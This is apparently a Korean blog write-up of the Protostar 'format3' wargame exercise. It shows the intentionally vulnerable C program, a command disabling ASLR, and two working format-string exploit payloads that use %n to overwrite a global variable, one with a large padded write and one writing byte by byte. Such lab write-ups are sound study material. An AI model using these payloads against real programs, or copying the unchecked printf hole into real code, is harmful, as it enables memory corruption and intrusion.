protostar format3

assb
|2020. 11. 5. 18:17

old.liveoverflow.com/binary_hacking/protostar/format3.html

 

Format 3 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

 format3은 target의 값을 0x01025544로 바꿔야 한다. 이는 두가지 방법으로 풀 수 있는데, format2처럼 풀던가(대신 값이 크기 때문에 실행 시간이 오래 걸린다) 혹은 각 바이트마다 나눠서 값을 넣어줄 수 있다. 

 

echo 0 > /proc/sys/kernel/randomize_va_space

 문제를 풀기에 앞서 aslr을 해제하고 target의 주소를 찾는다. 

 080496f4

 

 그런 다음 target의 주소를 입력해서 위치를 찾는다. 12번째 위치에 값이 저장된다. 

 

 가장 간단한 방법은 11번째 위치에 target의 값을 0x01025544로 바꾸기 위해 큰 값을 넣어주는 방법이 있다. 하지만 이 방법은 실행시간이 길다. 

(python -c 'print "\xf4\x96\x04\x08" + "%08x"*10+"%16930032x"+"%n"')|./format3 

 

 

 두번째 방법은 target의 각 바이트마다 값을 넣어주는 방법이다. 080496f4를  080496f4, 080496f5, 080496f6 셋으로 나눠서 각 바이트에 44/55/102를 넣어준다. 

 

 먼저 각 바이트에 값을 넣어주기 위해서 주소를 넣어준다. 이때 값을 조절해줘야 하기 때문에 각 주소 앞에 임의의 값을 넣어준다. 

 

 그리고 080496f4에 44를 넣어주기 위해서 값을 찾아준다. "%x"*10으로 진행하면 44보다 큰 값이 들어가기 때문에 "%1c"로 바꿔주었다. 

 

 

 다음으로는 080496f5에 55를 넣어준다. 

 

 마지막으로 080496f6에 102를 넣어주면 문제가 풀린다. 

(python -c 'print "\xf4\x96\x04\x08"+"AAAA"+"\xf5\x96\x04\x08"+"AAAA"+"\xf6\x96\x04\x08"+"%1c"*10+"%38c"+"%n"+"%17c"+"%n"+"%173c"+"%n"')|./format3

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap0  (0) 2020.11.06
protostar format4  (0) 2020.11.05
protostar format2  (0) 2020.11.05
protostar format1  (0) 2020.11.05
protostar format0  (0) 2020.11.01